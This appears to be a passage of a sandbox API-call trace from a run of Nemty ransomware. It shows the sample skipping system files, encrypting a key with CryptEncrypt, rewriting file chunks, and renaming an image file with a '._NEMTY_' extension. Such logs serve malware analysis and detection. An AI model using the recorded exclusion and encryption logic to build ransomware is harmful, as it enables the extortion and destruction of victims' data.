[0056.968] lstrcmpiW (lpString1="btn-back-static.png", lpString2="AUTOEXEC.BAT") returned 1 [0056.968] lstrcmpiW (lpString1="btn-back-static.png", lpString2="ntuser.dat") returned -1 [0056.968] lstrcmpiW (lpString1="btn-back-static.png", lpString2="desktop.ini") returned -1 [0056.968] lstrcmpiW (lpString1="btn-back-static.png", lpString2="CONFIG.SYS") returned -1 [0056.968] lstrcmpiW (lpString1="btn-back-static.png", lpString2="RECYCLER") returned -1 [0056.968] lstrcmpiW (lpString1="btn-back-static.png", lpString2="BOOTSECT.BAK") returned 1 [0056.968] lstrcmpiW (lpString1="btn-back-static.png", lpString2="bootmgr") returned 1 [0056.968] lstrcmpiW (lpString1="btn-back-static.png", lpString2="programdata") returned -1 [0056.968] lstrcmpiW (lpString1="btn-back-static.png", lpString2="appdata") returned 1 [0056.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0056.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-back-static.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0056.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0056.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-back-static.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-back-static.png", lpUsedDefaultChar=0x0) returned 19 [0056.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0056.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0056.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-back-static.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0056.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0056.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-back-static.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-back-static.png", lpUsedDefaultChar=0x0) returned 19 [0056.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0056.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0056.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0056.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0056.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-back-static.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0056.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0056.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-back-static.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-back-static.png", lpUsedDefaultChar=0x0) returned 19 [0056.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0056.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0056.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-back-static.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0056.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0056.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-back-static.png", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-back-static.png", lpUsedDefaultChar=0x0) returned 19 [0056.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0056.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0056.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0056.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0056.979] Sleep (dwMilliseconds=0x5) [0056.985] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd59cc390, dwHighDateTime=0x1d561e7)) [0056.985] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd59cc390, dwHighDateTime=0x1d561e7)) [0056.985] GetLastError () returned 0x5 [0056.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0056.985] GetLastError () returned 0x5 [0056.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0056.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0056.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0056.985] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0056.985] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0056.986] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0056.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0056.986] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="4zYcs9wBPxlX6SnrYgF8GpQQ99vqISnkJ2mBzZMAXbJ4xNhiZJYRQuwqMEfoz8UO\r\nWTGFgXChthXAZGvroQEccZMnZ02VEeWujIOaf51yclIMaivyqWhpR59Eq+DwCnOL\r\nwfrMxePtdRhiy+mCYSHeYM3AjxkjP0vrnqc2+x4iW++FMilAOmW3i2IeWDxhGCli\r\nsdnE39JMDa5i3OLP8M/vzd1I8GZDsZAvM6MQ89dYBT3GRLu7V7QTVOsdYdN0omdE\r\nEYxM1iEjCVDhJ1+8tShkGZH0Kq3Jc2A0bSY7Y8WY3W+Qvt0P356qPXw/eGyuV+zz\r\ntKgb8M3B4rBVwQ1fpz88Jg==\r\n", pcchString=0x653e91c) returned 1 [0056.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340260 [0056.986] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0056.986] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0056.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0056.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0056.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403d8 [0056.986] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0056.987] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0056.987] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0056.987] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.987] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.996] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.996] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.006] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.006] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.015] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.015] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.015] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.015] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.025] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.025] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.025] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.025] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.034] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.034] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.043] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.043] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.054] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.054] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.054] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.054] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.064] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.064] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.064] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.064] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.073] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.073] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.073] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.073] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.082] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.082] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.083] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.083] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.088] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.089] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.089] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.089] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.095] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.095] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.095] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.095] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0057.095] CloseHandle (hObject=0xffffffff) returned 0 [0057.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0057.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0057.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0057.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0057.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0057.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0057.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6344090 [0057.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344138 [0057.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0057.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0057.095] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png._nemty_kgobjgd_")) returned 0 [0057.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344138 | out: hHeap=0x4f90000) returned 1 [0057.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0057.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0057.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0057.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d8 | out: hHeap=0x4f90000) returned 1 [0057.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0057.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0057.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0057.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0057.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0057.096] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdfc, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0057.096] lstrcmpiW (lpString1="btn-next-static.png", lpString2=".") returned 1 [0057.096] lstrcmpiW (lpString1="btn-next-static.png", lpString2="..") returned 1 [0057.096] lstrcmpiW (lpString1="btn-next-static.png", lpString2="...") returned 1 [0057.096] lstrcmpiW (lpString1="btn-next-static.png", lpString2="windows") returned -1 [0057.096] lstrcmpiW (lpString1="btn-next-static.png", lpString2="$RECYCLE.BIN") returned 1 [0057.096] lstrcmpiW (lpString1="btn-next-static.png", lpString2="rsa") returned -1 [0057.096] lstrcmpiW (lpString1="btn-next-static.png", lpString2="NTDETECT.COM") returned -1 [0057.096] lstrcmpiW (lpString1="btn-next-static.png", lpString2="ntldr") returned -1 [0057.096] lstrcmpiW (lpString1="btn-next-static.png", lpString2="MSDOS.SYS") returned -1 [0057.096] lstrcmpiW (lpString1="btn-next-static.png", lpString2="IO.SYS") returned -1 [0057.096] lstrcmpiW (lpString1="btn-next-static.png", lpString2="boot.ini") returned 1 [0057.096] lstrcmpiW (lpString1="btn-next-static.png", lpString2="boot.ini") returned 1 [0057.096] lstrcmpiW (lpString1="btn-next-static.png", lpString2="AUTOEXEC.BAT") returned 1 [0057.096] lstrcmpiW (lpString1="btn-next-static.png", lpString2="ntuser.dat") returned -1 [0057.096] lstrcmpiW (lpString1="btn-next-static.png", lpString2="desktop.ini") returned -1 [0057.096] lstrcmpiW (lpString1="btn-next-static.png", lpString2="CONFIG.SYS") returned -1 [0057.096] lstrcmpiW (lpString1="btn-next-static.png", lpString2="RECYCLER") returned -1 [0057.096] lstrcmpiW (lpString1="btn-next-static.png", lpString2="BOOTSECT.BAK") returned 1 [0057.096] lstrcmpiW (lpString1="btn-next-static.png", lpString2="bootmgr") returned 1 [0057.096] lstrcmpiW (lpString1="btn-next-static.png", lpString2="programdata") returned -1 [0057.096] lstrcmpiW (lpString1="btn-next-static.png", lpString2="appdata") returned 1 [0057.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0057.096] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-next-static.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0057.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0057.096] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-next-static.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-next-static.png", lpUsedDefaultChar=0x0) returned 19 [0057.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0057.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0057.097] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-next-static.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0057.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0057.097] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-next-static.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-next-static.png", lpUsedDefaultChar=0x0) returned 19 [0057.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0057.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | 